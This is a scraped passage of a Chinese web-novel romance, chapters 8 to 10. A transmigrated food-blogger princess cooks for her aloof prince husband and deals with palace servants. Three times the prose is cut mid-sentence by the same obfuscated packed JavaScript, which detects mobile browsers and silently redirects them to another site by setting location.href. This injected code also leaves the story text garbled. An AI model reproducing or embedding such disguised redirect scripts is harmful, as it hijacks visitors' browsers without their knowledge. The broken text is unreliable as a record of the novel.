厨房又不是什么高雅寻乐之地,她好端端来这里干嘛?也不嫌折辱了身份,有失脸面?! 恐怕是在提点她。 常安宁作为主子有些话不好说出口,她作为下人就要学会揣度主子的心思,替主子把事情办好,处理得当。 张嬷嬷还在猜测常安宁的言外之意,春早道:“张嬷嬷,我竟不知长衡王府的规矩竟是这般。” “身为下人不好好做事,竟然聚在一起公然议论主子,乱嚼舌根。张嬷嬷,你作为管事嬷嬷,该当如何啊?” 张嬷嬷心中了然,立马承认错误,道:“春早姑娘教训的是,底下人乱嚼舌根确实是我这个管事嬷嬷教导不严,该罚该罚。” 说着,她转身来到桃红的面前,嫌恶地看着她,抬手便给了她两个巴掌,干脆利落,清脆响声回荡在众人耳畔。 事情发生得突然,正在专心低头喝茶的常安宁吓了一跳,没料到张嬷嬷竟然会当着她的面直接扇桃红巴掌。 “小贱蹄子,你也不看看你是什么身份,吃了熊心豹子胆,竟敢公然诋毁王妃!”张嬷嬷疾言厉色道。 张嬷嬷下手不留情面,桃红娇嫩的脸庞很快肿得老高,嘴角也渗出了几丝鲜血,她不敢反抗,只一个劲地求饶道: “王妃,奴婢知错了。求您饶了奴婢这一回吧,奴婢再也不敢了。” “奴婢真的知错了!”她边哭边磕头。 见张嬷嬷还要继续扇巴掌,常安宁看不下去了,放下茶盏,道:“行了,张嬷嬷。我叫你来并不是想看你打人的,我也不想见血。” 她深知人的本性,桃红这次求饶认错,不见得是诚心悔改,她只是害怕了,怕疼,更怕死。 此次常安宁不计较她的过错,放她一马,她也不一定会心生感激,说不定还会在背地里唾骂、诅咒她。 但常安宁懒得操心这些,纠正每个人言辞与行为不是她要做的事,她只需要遵从本心便好。 张嬷嬷讪讪地收回手,向常安宁保证道:“娘娘放心,老奴日后定会严加管教底下人,把她们教得规规矩矩的。” “这样的事绝不会发生第二次!” 常安宁没说怎么处置桃红,但张嬷嬷心里清楚,无论怎样,她都不能再在王府待了。 不然这就成了她的过错了。正好,借此事也可以给手下人一个警示,让她们管好自己的嘴,知道什么该说,什么不该说,省的给她找麻烦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480885|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张嬷嬷对桃红道:“王妃心善,该怎么做你自己心里明白,行了,下去吧。” 桃红连忙磕头道:“奴婢谢谢王妃,谢谢王妃。”而后,捂着脸退下了。 人群被遣散,常安宁抿了口茶道:“张嬷嬷,以后王爷那边的饭菜不必准备了。” “啊,这……”张嬷嬷眼神躲闪,说话犹豫,“王妃,这恐怕不合规矩。” “怎么?我作为王妃下的命令都不管用了吗?”常安宁沉下声音,一贯笑意盈盈的脸染上几分严肃,“我说什么你照做就是,王爷那边若是怪罪下来,我一律承担。” 常安宁话说得滴水不漏,为她撇清了关系,但张嬷嬷可不信,他们这些下人的生死无人在意,真要出了什么事,肯定率先拿他们问罪,哪敢真怪到这群贵人头上。 张嬷嬷心中腹诽,但她还是乐呵呵地说道:“王妃这么说,老奴明白了。” “王妃若是以后还有别的差使,遣身边人说一声便是,王妃身份尊贵,哪能踏足这腌臜之地,莫要让这厨房的烟火气脏了王妃的衣服,坏了王妃身上的香气。” 常安宁莞尔:“张嬷嬷的好意,我心领了。” 话锋一转,她又道:“只是我却不赞成这话。再尊贵的人也是要吃饭喝水的,一水一饭皆是由厨房供应,厨房可不是什么腌臜之地。” 常安宁很喜欢厨房。 小时候,父母离婚,她跟着奶奶一起生活,条件不算富裕,但奶奶从未亏待过她,总是想尽办法对她好,还会给她做各种好吃的。她对奶奶系着围裙,佝偻着腰,小小的身子在灶台边忙活的身影印象极为深刻。 奶奶有一双巧手,再怎么简单的食材到她手里都能变得极其可口,那是她怎么做都没办法复刻的味道。于她而言,厨房承载了太多的童年记忆,早已随着她的长大融入到她的骨血里,无法割舍。 长大后,厨艺是她安身立命的根本,她在厨房做了一道又一道美食,拍了一个又一个视频,在做菜的过程中她的精神得到愉悦,物质也跟着富足。 哪怕穿越了,她对厨房的那份眷恋与留念依旧存在,甚至更为强烈。 王妃的身份意味着荣华富贵,也代表着枷锁束缚,一言一行都得合乎礼仪,符合身份,她所能做的事情有限,唯在美食上,有着充分的自由。 这恰恰也是她最喜欢做的事情。 张嬷嬷头一次听说这种话,心中诧异,不由地抬眼瞧向常安宁。 说实在的,他们这位长衡王妃模样实在是出挑,又是皇室公主,气质仪态自是无可挑剔,往那一站犹如天上仙子误入凡尘,周身气质与这混乱噪杂的厨房格格不入,怎么看都不像是与人间烟火气沾边的人。 张嬷嬷按下心中的思绪,低声道:“王妃教训的是,老奴记下了。” 常安宁此次前来,一是为了交代厨房不必往谢怀昀那里送饭,二是为了散步消食。 谢怀昀有厌食症,饭菜送到他那估计也不会吃,反倒是一种浪费。常安宁负责他的一日三餐,厨房这边再送的话,那么多饭菜,谢怀昀哪里吃得完。 她可不舍得浪费粮食。 常安宁走得缓慢,春早陪着她,问道:“公主,张嬷嬷会怎么惩处桃红?她会死吗?” 8. 第 8 章 常安宁不知道大户人家是怎么处理这些嘴碎的丫鬟的,但她作为主子都决定放过桃红了,张嬷嬷是个人精,应当明白她的意思。 再说了,桃红也就是说了几句不算好听的话,并没有做什么伤天害理的事,挨了打,已经得到了惩罚。 张嬷嬷那两巴掌打得很狠,估计要好些天才能消下去。 不过,桃红生了不该生的心思,张嬷嬷估计不会留她在王府,但赶出去总比丢了命强。 毕竟她要是敢勾引谢怀昀,一定会死得很难看。 谢怀昀可不是个对女人心软的人。他这人洁身自好,不近女色,二十好几的人了,府中却只有常安宁一个王妃,连个通房丫头都没有,想来是极在意自己的清白。 不过也有可能是他不行…… 常安宁越想越歪,意识到不对劲连忙把发散的思绪拽回来,道:“放心吧,她不会死。顶多就是会被赶出王府。” 春早心里松了口气,道:“还好还好,奴婢还以为会打死她呢,桃红虽然不是什么好人,但奴婢也不想公主因此牵扯上人命,背上业障。” 常安宁失笑:“因为几句话就把人打死,也太没人性了吧。不至于。” 春早憨憨地笑了两声,又说: “不过这个桃红也真是厚颜无耻,癞蛤蟆想吃天鹅肉,也不照照镜子仔细瞧瞧自己,还敢跟您作比,肖想王爷。” 常安宁倒没觉得桃红想当谢怀昀的妾有什么问题,高门宅院里总有一些丫鬟梦想着一步登天,想尽法子只为在男主人身边做个妾,当个姨太太,以此改变命运。 每个人都有自己的选择,常安宁不觉得她们的选择是错的,只觉得有些可悲。 受封建礼教以及出身经历限制,她们只能看到眼前的这一点虚妄的浮华,使尽浑身解数博得一点怜悯和宠爱,然而这却是她们最好的选择了。 若是给她们一个更为广阔的天地,能够和男人一般读书习字,经商科考,视野打开了,她们想来也会有不一样的人生吧。 常安宁歪头看向春早,问道:“在你心里,我就这么好吗?” 春早毫不犹豫地说:“当然,公主可是天下第一好,在奴婢心里,谁都比不上公主。” 常安宁笑了起来,刚才的那点子惆怅一扫而空,开玩笑地问:“春早,你这是偷喝了多少蜂蜜呀?嘴巴这么甜。” 春早漆黑的眼珠骨碌碌地转了一圈,否认道:“奴婢才没有偷喝蜂蜜呢,奴婢说的可都是大实话。” 说着,她四处张望着,见无人才悄悄地附在常安宁的耳边,轻声道:“奴婢一直觉得,王爷能娶到公主是他的福气呢,谁知道王爷是个没眼光的,竟然看不到公主的好。” 常安宁被她夸得心里飘飘然,嘴角笑意越来越大,不忘提醒道:“这话你和我说说就得了,可千万别在外人面前说。” 春早退回去,正色道:“公主放心吧,奴婢不傻。” 这话要是被有心之人听到,再添油加醋地宣扬一番,不仅她有事,还会连累到常安宁,春早还没有莽撞到这个地步。 常安宁中午做好饭去找谢怀昀才得知他没有回来,不过也不算是没有收获,系统又奖励了她10点幸福值。 这让她觉得很幸福。 傍晚饭点,常安宁又带着做好的菜肴去找谢怀昀了。 刚进院门,便看到了谢怀昀。 与早上出门时的模样不同,他换了身白色暗纹直裰,腰束素银镂空玉带,束发的银冠换成了白玉簪子,给人的感觉不像是擅长行军打仗的将领,倒像是喜欢吟诗做赋的文人。 谢怀昀微微仰头站在廊下,不知道在看什么,神情淡漠,眉眼间无喜无悲,穿堂风过,衣袂翻飞,仿佛随时都要归位的谪仙。 常安宁看着他,笑着问道:“王爷这是在看什么呀?” 谢怀昀没想到她又来了,有些意外,但更多的是不耐烦,冷声道:“与你无关。” 常安宁被他噎了下,不知道哪里又惹到他了,也不在意,毕竟这是常态了。 她随着谢怀昀的目光回头看天,天上云彩流动,大片的橘红色晚霞在天际铺开,归巢的鸟儿轻轻掠过,留下几道漆黑的残影。 晚风轻柔,晚霞明媚,常安宁心情极好地赞叹道:“王爷真是好雅兴。若不是见王爷望天,我竟没发现今日晚霞这般好看。” 她原以为像谢怀昀这种人心思全用在舞刀弄枪、朝堂谋略、排兵布阵上面,不会用来欣赏瑰丽风光,没想到他的心里也有这些细腻柔情。 反倒是她刻板印象了。 谢怀昀:“……” 他其实没在看天,目光落在不远处的檐角上,心里在想着其他事情,早已走神,压根没注意天上云彩变换,不过他是不会解释的。 他看向常安宁,问道:“你来干什么?” 他不是个很有耐心的人,之前一直称呼常安宁为“公主”是想刻意撇清二人的关系,希望常安宁通过他的客套与疏离明白自己的处境,闲着没事别来打扰他。 可他却发现,常安宁好像没意识到这一点,不管他表现得多么烦她,她还是一个劲地贴上来。 他干脆直接抛掉那层伪装,彻底不装了,就按照自己心里所想的来。 常安宁笑了下,说:“来给王爷送饭呀,我若是不来,王爷今晚就要饿肚子了。” 谢怀昀不在乎道:“厨房那边自会准备,用不着你操心。” 再说了,他没有胃口,吃不下东西,送不送饭都是一样的。 “忘了告诉王爷了,我让厨房别往王爷这里送饭了,”她一直在看着谢怀昀的眼睛,解释道,“因为我说了我要给王爷准备一日三餐,厨房那边再送的话,那么多饭王爷也吃不完,反倒是浪费了。” 谢怀昀动了动身体,迈步踩过台阶,站到了天井里,常安宁下意识地往后退了几步。 谢怀昀将她的小动作尽收眼底,沉声道:“谁让你擅作主张的?” 听起来像是对她这个行为很不满,常安宁没感到害怕,道:“我是王妃掌管内院之事,厨房的事我自然可以做主。” 然后她又反问道:“王爷,难道我连这个权利都没有吗?” 不等谢怀昀发话,她又说:“王爷上回还说只要我安分守己,这长衡王妃之位便一直是我的,如今我什么都没做,只是行使王妃的基本权利,王爷却这样说,莫不是反悔了?” 谢怀昀:“……” 谢怀昀发现常安宁口齿伶俐,句句在理,竟然让他挑不出来错处。 不过,他还是反问道:“那你安分守己了吗?” 不好好待在自己的院子里,成日里往他跟前凑,甚至被他各种讽刺、威胁、警告也还是不放弃,在他眼前晃悠,这可不是他所说的“安分守己”。 常安宁觉得无语至极,她怎么没有安分守己? 自穿来后她甚至都没出过王府,一直好好地待在院子里经营着自己的小日子,平时也就是看看书、做做饭、赏赏花,一件坏事都没干! 真不知道谢怀昀为什么要这样说她。 常安宁不服,说话声音忍不住加大了点,道:“我怎么没有安分守己,我什么也没干,真是不知道王爷为何有此疑问。” 她听不出来自己的言外之意,谢怀昀干脆坦白道:“那你天天来我跟前?费尽心思给我送点心送饭食,我说过好几次拒绝的话,你都当耳旁风,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480886|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样,很难不让我怀疑。” 常安宁气笑了。原来他所谓的“安分守己”是不去他跟前晃啊。对这词的定义真够狭隘的。 但这种“安分守己”她做不到,她味觉还跟他紧紧挂钩呢!说什么也不能放弃。 常安宁眨了眨眼,提议道:“那王爷更应该把我留在身边呀,这样才能知道我到底意欲何为啊。” 话锋一转,她又道:“不过呢,我也没什么坏心思,就是想照顾王爷,对王爷好呀。” 这种类似的话她说过多次,但谢怀昀每次都不信。 谢怀昀看着常安宁,没想到她正好说到了自己的心上。 前面几次交锋,无论他说什么难听的话,常安宁都是一副淡定的样子,没把话放在心上。早上出门时他就想好了,要是常安宁今日一餐不落地过来送饭,他就不拒绝了。 正好看看她葫芦里卖的是什么药,处心积虑地接近自己究竟所图何事。 他可不信她所说的这些。 谢怀昀没吭声,他可说不出让常安宁带着食盒进来的话。 好在常安宁非常有眼力见,她说:“王爷,再不吃饭都冷了。饭菜还是热着才好吃呢。” 谢怀昀闻言,拂袖转身进了偏厅,常安宁看着他的背影在原地站了会儿,才抬脚进屋。 谢怀昀要是不乐意,肯定会直言拒绝,眼下他却不发一语地直接进屋,可见是同意了,允许她送饭了。 吃不吃另说,至少常安宁迈出了第一步,这对她来说完全是个意外之喜。她只是随口一说,没想到谢怀昀态度竟然有所松动,选择了接受。 同时,这也意味着,她可以试着进行任务二—— 陪谢怀昀吃饭。 谢怀昀在紫檀木做的圆桌边撩袍坐下,举手投足尽显贵气,到底是出身皇室,从小受皇家礼仪的熏陶,哪怕这几年行军打仗风餐露宿的,也没忘记刻在骨子里的教养。 常安宁将食盒放在桌上打开,一一取出今日的晚餐—— 一道白菜烧豆腐,一道山药肉片汤,外加两碗米饭。 老豆腐切片用油煎过,两面金黄,色泽诱人,山药软糯,肉片鲜嫩,汤汁鲜美。两道菜简单又清淡,很适合谢怀昀这种没啥胃口的人。 常安宁将事先准备好的餐具拿出来摆放整齐,又将其中一碗米饭放到谢怀昀面前,她还记得他不让自己离他那么近,选择在对面坐下,顺手拿过一碗米饭。 谢怀昀的目光一开始落在饭菜上,见她坐下,又移到她的身上。 他问道:“谁让你坐下的?” “啊?”常安宁瞪大眼睛问道,“王爷需要我伺候用饭吗?” 她知道有些王公贵族规矩大,吃饭还需要丫鬟为其布菜,没想到谢怀昀也是这类人。 她不喜欢给别人夹菜,除了奶奶。 不过谁叫他是任务对象呢? 她就宠一下他吧。 常安宁站起身,用筷子给谢怀昀夹了块豆腐放进碗里,说:“王爷尝尝这豆腐,裹了层鸡蛋液煎的,特别香,特别好吃。” 谢怀昀垂眸盯着她的动作,少女一只手捏着宽大的袖口,避免滑落沾到汤汁,另一只手夹菜,露出一小截手腕,纤细匀净,指尖微动时,腕骨轻轻凸起,腕上戴的白玉镯子衬得肌肤更加白皙细腻。 常安宁见他不吭声,以为自己猜对了意思,又给他夹了些菜,眼见着快要漫出小碗了她才收手,笑道:“王爷快吃吧,等吃完了我再给你重新布菜。” 说完,她回到位置上,拿起自己的筷子往嘴里塞了口米饭。 谢怀昀沉着脸色,筷子重重地往桌上一放,道:“让你离我这么近了吗?让你一道用饭了吗?” 9. 第 9 章 此话一出,常安宁便知她的试探以失败而告终。 谢怀昀气质本就冷若冰霜,如今又刻意沉下脸,那股凌厉气势更甚,倒是有几分吓人,若是胆子小的恐怕会被当场吓哭。 常安宁跟个没事人一样,慢慢咀嚼着口中的米饭,待全部咽下去了才不慌不忙地说道: “王爷别生气呀。眼下正是饭点,王爷在此刻生气不仅影响了自己的心情跟食欲,还会影响到与您同桌吃饭之人的。” “若是因为这点小事错过了菜肴的最佳品鉴期,未免可惜。” 谢怀昀:“……” 他都这样说了,她还在想着饭! 见常安宁没有一点离场的自觉性,谢怀昀微微偏头,漆黑的眸子紧紧锁住她,问道: “你的头发是不想要了吗?” 他几乎是咬着牙说的。他发现了常安宁格外宝贵她的头发,舍不得受到伤害。 果不其然,常安宁讨好地笑笑,说: “王爷别生气。既然王爷不想让我坐下,也不想让我陪同吃饭,那我就不做,我就站在一旁伺候王爷,这样总行了吧?” 她放下筷子,站起身,挪动着脚步离他更远了些。 系统发布的任务二是陪谢怀昀一起吃饭,但她不确定是哪一种“陪”。 常安宁唤出来系统,问道:“系统,任务二怎么样才算完成?和他同桌吃饭?还是看着他吃完饭?” 系统说:“是前者。” 常安宁没招了,就知道没这么简单。 她盯着他的侧脸,督促道:“王爷快吃吧,我不打扰你。” 谢怀昀垂眸盯着面前快要堆成小山一样的饭碗,还有卖相极好、摆盘讲究的两道菜,一点胃口都没有。 虽然饭菜的香味丝丝缕缕地往鼻孔里钻,可他就是一点想吃的欲望都没有。 常安宁对自己的厨艺很有信心,选的菜也都是系统推荐的,但见谢怀昀光看不吃,略微思索了下,问道:“王爷可是担心饭菜有毒?” 谢怀昀没吭声,他不想跟她说话。 常安宁大着胆子上前,说道:“王爷有此顾虑也正常,还好我准备了银针。” 她从春茗的手里接过银针,素白的指尖捏着那枚小小的针挨个在饭菜里试毒。 每道菜都是她亲手做的,肯定是没有毒的,她敢保证。但谁叫谢怀昀心思多呢?还是得走一下过场让他放心。 她将测好的银针杵在谢怀昀的眼前,笑着说:“王爷看,没毒。这些菜都是我亲手做的,我怎么可能会害王爷。” 银针纤细微小,怕谢怀昀看不清,常安宁此刻弯着腰,离他很近,俩人之间的距离不过一截小臂那么远。 常安宁的脸正对着谢怀昀,少女唇瓣一张一合,粉嫩柔软,清浅香甜的呼吸扑洒在他的面上,让他有些不适。 常安宁没觉得这有什么不妥,甚至还提议道:“王爷若是担心我下毒谋害于你,不如让我和你一起吃饭?毕竟我可是很惜命的,就算要毒死王爷,也绝不会以身犯险。” 她还在说:“要不每次都是我先吃?就当为王爷试毒了。若是有人偷摸下毒,要死也是我先死,绝对不会伤到王爷分毫。” 谢怀昀头一次离女人这么近,不习惯,也不适应,甚至有一种一把把人推开的冲动,但他还是忍住了。 毕竟常安宁这人身娇体弱的,上次明明控制好了力度却还是伤了她,她比他想象的更为脆弱易碎。他虽然讨厌她,但也不是那种粗鲁至极、蛮不讲理的人,不会轻易伤害谁。 谢怀昀盯着她,强忍着说道:“让你离我那么近说话了吗?” 常安宁:“……” 谢怀昀这性格还真是令人捉摸不透。有时候常安宁是会忘记他之前的警告,但这人也真是的,不在刚开始打断她,反而等她话说完了才出声。 也不知道在想什么。 常安宁温声道:“王爷请慢用,我就先回去了。” 她没准备一口就吃个大胖子,早已做好了打持久战的准备。 刚转身,便听身后人道:“等一下。” 常安宁以为谢怀昀这是改主意了,愿意让她陪同吃饭,有些高兴,转过头时嘴角上扬,眼睛也跟着闪亮起来。 “王爷这是改主意了?愿意我……” 话还没说完,就被谢怀昀无情地遏制住了,他说:“带上你做的菜。” 常安宁:“……” 回到落云院内,春早将饭菜热了热端到饭桌上,又开始为常安宁打抱不平了。 “王爷脾气真坏,不懂得疼人,也不懂得珍惜。公主做的这些饭菜瞧着多好看啊,闻着这么香,他却一口不吃。” 她小声咕哝着,蓦地想到了什么,对常安宁说:“公主,您之前教导奴婢说,真心要给予懂得的、珍视的人,可王爷对您这么坏,简直是在践踏您的真心与诚意,可您还对他这么好!奴婢不解,为您感到不值得。” 因说坏话的对象不是她能得罪的起的,春早讲话声音很轻,但她还是刻意加重了“这么”的音。 常安宁挑着菜,默默吃着,没吭声。 “公主明明值得更好的人,”春早又想到常安宁这可怜的处境,幽幽道,“公主远嫁和亲,远离故国,受了委屈没人可诉,遇到困难无人可帮……” 春早越说越难过,一吸鼻子,眼泪就要掉下来。 常安宁放下筷子,有些无奈又有些感动道:“我都没哭呢,你怎么先哭上了?” 春早知道常安宁不喜欢自己爱哭的性子,听她这样问,连忙扭过头拿衣袖擦了擦眼睛,把眼泪给憋了回去,闷声道: “奴婢没哭,奴婢就是眼睛里进东西了,有些不适罢了。” 常安宁没拆穿她这蹩脚的理由,笑了下,道: “难为你还记得我说过的话,是啊,真心应当给予懂得的人。但有时候,为了自己在意的人和事,我们也得付出点什么。不过我付出的可不是真心,那只是最基本的善良而已。” 她是带着目的地对谢怀昀好。 她的这种好、这种善意是有底线、有原则的。不会伤害他人,亦不会伤害自己。 除了初次相见脖子上的那道浅浅伤疤,谢怀昀没再伤害过她,只是一味地吓她。若是会危及到自己的生命,她早就跑了。 不会危及生命,她并不介意对谢怀昀展现自己的善良与好意。 “我是大梁的公主,如今虽来到大夏的领土,但终究还是个外人。对外人的接纳总是需要些时日的。” “再者,王爷他就是那种性格,再加上他不喜欢我,就更加没耐心了……怎么可能对我温柔体贴?能够做到以礼相待就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480887|201729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很不错了。” 常安宁说得委婉,谢怀昀对她何止是不喜欢啊,应该是讨厌之类的。 不过她不在乎别人的讨厌,哪怕这种讨厌是来自她的丈夫,她也毫不在意。 作为一个拥有千万粉丝的美食博主,常安宁在得到关注、赞赏、荣誉的同时也要承受着来自大众的质疑和批判。 她自认为自己认真地做每一道菜,专心拍摄、剪辑每一个视频,无愧于心,无愧于粉丝,但仍有些恶意的猜测、中伤和诋毁。 没有缘由,也没有根据,只是因为他们想说。 刚开始她会自我怀疑,自我反思,是不是自己哪里做的有问题,后面她才觉悟根本不是因为她做得不好、不够好,而是有些人天生就对他人抱有恶意,愤世嫉俗地活在世间。 问题不在于她,而在于那些本身就心存黑暗、心存偏见的人。 想通了这点,常安宁变得乐观、豁达起来。 她只管做自己的事,达成自己的目的。来自外界的声音,好的她接受、改进以求更好,不好的她全当大便排泄、丢弃。 她想从谢怀昀的身上获得的是幸福值,不是他的感情,所以他讨厌她,这既不会让她低落也不会失望,顶多就是任务困难了点。 翌日天不亮,常安宁便起床了,将昨晚发好的面团还有调好的馅料拿出来。 她将面团揉成条,切成小剂子,擀得薄薄的,放点肉馅进去,手指翻飞,不多时便包了十来个小馄饨。 厨房有现成的高汤,常安宁舀了点倒进锅里,等汤沸腾,才下入馄饨,滚了几滚后,皮薄馅大的馄饨漂浮在最上层,她盛了出来。 没有再撒别的调料,只在上面放了点切碎的香葱和芫荽,金色、白色、绿色层层递进,交相辉映,与屋外的春日风光倒是呼应上了。 馄饨还是刚出锅的好吃,等久了便会坨掉,常安宁马不停蹄地去找谢怀昀。 谢怀昀今日竟然就坐在桌边,哪也没去,像是在特意等她。 常安宁莫名觉得他有些乖巧,这个想法才冒出来就被她按死了。 疯了吧,竟然会觉得谢怀昀乖? 她走上前去,道:“王爷等久了吧。” 谢怀昀淡淡看她一眼,道:“本王没在等你。” 常安宁没理会他,道:“做了点小馄饨,鸡汤熬的汤底,特别鲜美浓郁,希望王爷会喜欢。” 她双手捧出瓷白的小碗,却没想到这么久了碗壁还是很烫,没有防备,手指被烫得发红发痛。 常安宁把碗往桌上一放,连忙把手指聚拢到一起,用嘴唇吹着气,然后又捏了捏自己的耳垂。 目睹一切的谢怀昀有些无语,又有些疑惑。 端个碗都能被烫到,真是笨死了。 但当他看到常安宁如葱白般细嫩的手指红了一片,被烫得不轻时,还是没忍住问了句:“没事吧?” 声音无波无澜,毫无起伏,听起来只是一句不走心的关照。 常安宁笑着摇了摇头,道:“这只是个意外,不怎么疼了。” 不过谢怀昀这么冷漠的人竟然还会问她的情况,这倒是让她感到意外。 她问道:“王爷这是关心我?” 谢怀昀连忙否认,说:“你想多了,本王只是没见过像你这般笨的人,端个碗都能伤到自己。” 10. 第 10 章 可能是觉得这话还不够伤人,也不够说明自己的本意,谢怀昀又说了句:“这点小事都做不好,连个三岁孩童都不如!” 常安宁:“……” 她就不该多嘴一问,谢怀昀哪有这么好心?! 这下好了吧,自取其辱了。 手指上灼热的痛感还在持续,常安宁一边无意识地搓着手指,一边反驳道: “王爷见过几个孩子?王公贵族家的孩子个个都是捧在手心里千娇百宠的,一堆人伺候着,衣来伸手,饭来张口的,怎么会端过碗?” 谢怀昀出身高贵,所见之人皆是些皇亲贵胄,这些人家规矩森严,锦绣堆里长大的孩子又不像穷苦人家养大的孩子早早地就会生活自理。 端碗这种事情都是由仆人代劳,何须亲自动手? 谢怀昀怎么可能见过? 她有些幽怨地瞪了他一眼,说:“王爷拿我跟三岁孩童作比,未免有失公道,更何况,我这是没当心,大意了才被烫到,这完全是个意外。” 常安宁微低着头,眼皮上掀,眸色清亮,向谢怀昀表达她的不满,但因为她长相偏圆润柔和那一挂,做出这种神态更像是在撒娇。 谢怀昀被她噎了下,又被她看得有些不自在,偏过头去,手指敲在桌面上,开始进行别的挑刺儿,道: “以后这种事情交给下人去做就行了,你一个王妃成天做这些成何体统?!” “王妃怎么了?”常安宁不甘示弱地辩驳道,“王妃也是人啊,也有喜欢做的事情,我就喜欢做饭,喜欢待在厨房,难道王爷要连我这一个小小的爱好也要剥夺吗?” “这未免也太霸道了吧!太无人性了!” 常安宁不觉得亲自做饭有什么问题,她就爱好做美食,看着食材经由自己的手变成可口的饭菜她很自豪,很有成就感,而且,她看到别人满意自己的成果时会更开心。 谢怀昀又将头转过来,看着她。 常安宁在他面前一直是低眉顺眼的模样,像个面团一样任他揉搓。 哪怕是阴阳怪气,也都是一种乖顺无辜的姿态,很少有这么直言顶撞的时候,倒是跟他以往的印象不一样。 常安宁见他看过来,挺直了身板,一点也不带怕的,清泠泠的双眼直直地看回去。 谢怀昀不是爱管闲事的人,又从她的眼中看到了毫不动摇的坚定,知道他说什么都没用,便没好气地服了软:“随便你!” 要不然呢?常安宁想,就算他明令禁止自己不准再进厨房,她也绝不服从。 在某些事情上,她有着自己的坚持。 “好了,”常安宁也不愿真的惹恼他,见好就收,道,“小馄饨再不吃就坨了,影响口感。王爷趁热吃吧。” 她不打算走,她决定要多在谢怀昀面前刷刷存在感,让他慢慢地接受自己的在场,于是隔着些距离坐下了。 不过她没有盯着谢怀昀吃饭,而是摊开手掌盯着自己的指尖,看着那圆形的粉红色若有所思。 谢怀昀瞧着常安宁这毫不见外的举动,气笑了。 他让她待在这里了吗?让她坐下了吗? 是不是他刚刚表现得太过随和亲切了?让她觉得自己是个好相处的。 他就不该给她好脸色! 他刚想发作,但见常安宁侧脸柔和,纤软的睫毛轻微颤动着,莫名显出几分失落孤独的样子,难听的话怎么都说不出口了。 算了。 也不是什么大事。 她离自己没那么近,香味没这么重,鼻尖只是浮动着丝丝缕缕的浅淡清香,而且,她也没有开口说话,安安静静的像个摆件一样,就让她坐在这里吧。 毕竟,他还没小气到这个地步,连个凳子都不给人家坐。 常安宁收手,抬眸看向谢怀昀,见他正在看自己,还以为脸上有什么东西,抬手摸了下,什么都没摸到。 “王爷看我做什么?我的脸上有东西吗?” 谢怀昀回神,装作无事发生的样子,慢慢地扭过头,说:“本王不想吃早膳,你端走吧。” 常安宁:“……” “王爷为什么不想吃?是不合胃口还是什么?”常安宁道,“王爷喜欢吃什么?下次我可以做你喜欢吃的。” 谢怀昀也不知道究竟是哪件事导致他没了食欲。 收复北疆之地,是他的荣誉,却也是他的伤疤。 北疆之战,凶险万分,北狄人生性残暴,烧杀抢掠无恶不作,百姓颠沛流离,食不果腹。 在极度混乱艰难的情况下,人性中的恶赤裸裸地被放大,易子而食,啃食人肉之事屡见不鲜。 他碰巧撞见了。铁锅里热气滚滚,肉香糜烂,一只手臂伸出锅外,融在他的眼里,这一幕,他永生难忘。 这是北狄的罪孽,亦是大夏的悲哀。 从那以后,每每看到肉,他总是会想到锅里翻滚涌动的肉块,那是他的同类,却成了食物。 再后来,攻入北狄王庭时,他却惨遭暗算,受了很重的伤,每日都要喝很苦的汤药,等到伤势恢复,他发现自己除了苦味再也尝不出来其他的味道。 所有的菜吃起来都是苦涩的。 求医问药皆无好转。后来有位大夫说他这可能是心病,须得自己解开心结,疏通郁闷之气。 他没做到,渐渐地,便对食物失去了欲望,不想吃饭。 “本王说了不想吃不想吃,”谢怀昀想到了过往,心情郁闷,提高了声音吼道,“你是听不懂话吗?” 话刚出口,谢怀昀就后悔了。 他不该这样,没控制住脾气就算了,还牵连了常安宁。她又不知前因后果。 常安宁:“……” 她真的觉得谢怀昀这脾气跟小孩一样,时好时坏的,让人猜不透。 都说女人心,海底针。可她觉得男人也不遑多让。 常安宁软着声音,好脾气地哄道:“好好好,王爷不想吃那就不吃。” 她伸手把馄饨移到自己面前来,拿起瓷白勺子搅了搅,说:“等我回去馄饨就该坨了,反正就这一碗,我直接在这里吃掉吧。王爷可介意?” 虽然说的是询问的话,但她压根没准备等谢怀昀说同意,舀起一颗馄饨吹了吹便送入了口中。 她的软和态度让谢怀昀心里那种愧疚感稍稍降低,却依旧做不到对她和颜悦色。 谢怀昀鼻孔出气,轻哼一声道:“你都开吃了还问我?” 常安宁嚼着馄饨,等咽下去了才说:“再怎么说,这里都是王爷的院子,怎么也得问一下你呀。” 谢怀昀嘴唇动了动,刚想说话,就听常安宁又说:“但我知道,王爷性格温和好说话,定会同意的。” 谢怀昀:“……” 在她心里,自己竟是这样的吗?性格温和好说话?这是她的真心话吗? 